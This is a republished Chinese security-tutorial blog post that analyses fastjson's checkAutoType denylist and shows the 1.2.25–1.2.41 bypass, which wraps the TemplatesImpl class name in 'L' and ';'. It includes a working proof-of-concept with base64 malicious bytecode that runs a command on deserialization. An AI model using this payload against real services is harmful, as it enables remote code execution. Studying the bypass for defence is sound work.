ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

15-java安全——fastjson反序列化1.2.25 - 1.2.41版本绕过

2021-09-03 18:33:33  阅读:265  来源: 互联网

标签:fastjson null 1.2 mask clazz typeName apache org 序列化


1.2.24 版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。

com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

在pom.xml文件中导入1.2.41版本的依赖

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.41</version>
        </dependency>

这里直接把TemplatesImpl利用链的payload代码拿过来,运行之后会抛出异常,从异常信息来看fastjson在反序列化时checkAutoType函数对json数据的TemplatesImpl类的包名com.sun进行denyList黑名单校验。

相信大家对fastjson解析json的流程都比较熟悉了,我们来分析一下checkAutoType函数做了那些事情:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
		//类名是否为空
        if (typeName == null) {
            return null;
			//类全路径是否超过128字符
        } else if (typeName.length() >= 128) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int mask;
            String accept;
			//如果支持AutoType功能会进入这个if判断
            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
			
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
				//是否不支持AutoType功能
                if (!this.autoTypeSupport) {
					//先匹配黑名单
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        //进行黑名单过滤,抛出异常
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

					//再从白名单找
                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

         //省略部分代码......
        }
    }

checkAutoType函数首先会对json数据中type指定的类名的长度进行一些校验,然后接着判断是否开启AutoType功能,如果没有开启AutoType功能则会进行黑白名单的过滤,会先匹配黑名单denyList,如果className中的类包名在黑名单有过滤则会抛出异常。

很明显com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的包名com.sun会在黑名单denyList中匹配到,于是抛出异常JSONException

从以上的分析过程中可以看到1.2.25版本之后fastjson修复了这个漏洞,并且在默认情况下不开启AutoType功能。也就是说,在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //恶意类TempletaPoc转换成字节码,base64编码
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
        final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "'_name':'TempletaPoc'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
		//开启AutoType功能
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }

这里是使用的1.2.41版本进行测试,不过在1.2.24-1.2.41版本都能测试成功

 在开启AutoType功能的情况下,checkAutoType函数还是会进行黑白名单过滤,由于我们在构造payload的时候在类名前面加了一个字母“L”,因此这里会绕过黑名单的过滤,接着调用TypeUtils.loadClass方法将TemplatesImpl类提取出来,生成类的class对象并返回。

TypeUtils.loadClass方法会判断类的名是否以字母“L”开头,并且以“;”分号结尾,然后调用loadClass方法加载TemplatesImpl类,返回class对象,这样就成功绕过。

标签:fastjson,null,1.2,mask,clazz,typeName,apache,org,序列化
来源: https://blog.csdn.net/qq_35733751/article/details/120084349

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有